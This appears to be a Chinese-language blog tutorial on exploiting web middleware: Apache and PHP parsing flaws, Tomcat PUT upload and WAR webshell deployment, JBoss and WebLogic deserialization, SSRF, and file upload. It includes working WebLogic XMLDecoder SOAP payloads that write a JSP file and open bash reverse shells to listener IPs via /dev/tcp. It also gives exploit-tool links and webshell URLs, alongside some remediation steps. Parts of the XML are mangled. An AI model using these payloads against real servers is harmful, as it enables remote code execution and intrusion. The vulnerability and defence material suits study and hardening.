Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一
Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,则继续向左识别,直到发现后缀是php,交给php处理这个文件
在apache加入如下一行
AddHandler application/x-httpd-php .php
建立一个xx.php.xx.yy的文件,里面写上Php代码
访问后
将apache 配置文件中删除这一行 AddHandler application/x-httpd-php .php
修改apache配置文件httpd.conf
找到Options-Indexes+FollowSymLinks +ExecCGI并修改成 Options+Indexes+FollowSymLinks +ExecCGI 并保存;
就可以目录浏览
当php.ini 中 cgi.fix_pathinfo = 1时,对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是3.jpg,可以添加3.jpg/x.php进行解析攻击
先建立一个php.里面写入phpinfo,更名为3.jpg,访问如下
cgi.fix_pathinfo = 0条件下
cgi.fix_pathinfo = 1条件下
或者;cgi.fix_pathinfo = 0条件下
有时间改了也不行,还有将/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php中的.php删除
现在高版本改了这2个地方也不行
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选
Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。
配置漏洞,开启put方法可上传文件功能。
tomcat文件夹下的/conf/web.xml文件插入:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
Not Found通过描述中的 Windows 受影响,可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:
如以下2种就算成功
conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞
Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。
tomcat 后台弱口令或者爆破可以来到如下页面
上传war包,点击部署,部署完后会在如下显示
然后访问127.0.0.1/aa/aa.jsp
在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录
后台管理避免弱口令。
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码
当出现如下页面时,说明存在漏洞
漏洞利用工具
https://github.com/yunxu1/jboss-_CVE-2017-12149
有效解决方案:升级到JBOSS AS7版本临时解决方案:
我的这篇文章中有讲jboss漏洞getshell
1.WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。
漏洞检测工具https://pan.baidu.com/s/1bpg3ppl
漏洞利用
上传文件利用代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jspstring>
<void method="println"><string>
]]>
string>
void>
<void method="close"/>
object>java>java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
利用方式
可以成功上传文件,路径为http://ip/bea_wls_internal/test.jsp
可以反弹shell
payload(发送数据xml时,反弹shell语句,要进行编码。)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bashstring>
void>
<void index="1">
<string>-cstring>
void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.2.109/8888 0>&1string>
void>
array>
<void method="start"/>void>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
WebLogic 反序列化漏洞二
利用的代码
访问https://ip/_async/AsyncResponseService
然后post提交
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xxwsa:Action><wsa:RelatesTo>xxwsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContextstring><void>
<string>http://远程ip文件地址/a.xmlstring>
void>class>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/>soapenv:Body>soapenv:Envelope>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bashvalue>
<value>-cvalue>
<value>& /dev/tcp/本地监听ip/8033 0>&1]]>value>
list>
constructor-arg>
bean>
beans>
可以直接反弹shell
链接地址
https://www.7ooc.cn/web/17.html
升级Oracle 10月份补丁。
Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
pe_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk5OTM3Mg==,size_16,color_FFFFFF,t_70)
通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。
方法一:
以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了;
方法二:
1)删除uddiexplorer文件夹
2)限制uddiexplorer应用只能内网访问
方法三:(常用)
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法二采用的是改后辍的方式,修复步骤如下:
1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
2)将weblogic安装目录下的server/lib/uddiexplorer.war下载
3)用winrar等工具打开uddiexplorer.war
4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
5)保存后上传回服务端替换原先的uddiexplorer.war
6)对于多台主机组成的集群,针对每台主机都要做这样的操作
7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)
通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。
漏洞地址:http://ip:7001/ws_utc/config.do
设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。我将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
提交,然后点击安全,添加,上传jsp文件
抓包
6,然后看到一个时间戳1553166280665
shell地址为:http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://ip:7001/ws_utc/css/config/keystore/1553166280665_aa.jsp?cmd=whoami
1)进入Weblogic Server管理控制台;
2)domain设置中,启用”生产模式”。
进入后台管理界面
部署
安装
上传文件
然后选择war包进行部署
下一步看到
一直下一步
然后访问
http://ip/aa/aa.jsp
参考链接
https://www.freebuf.com/vuls/148283.html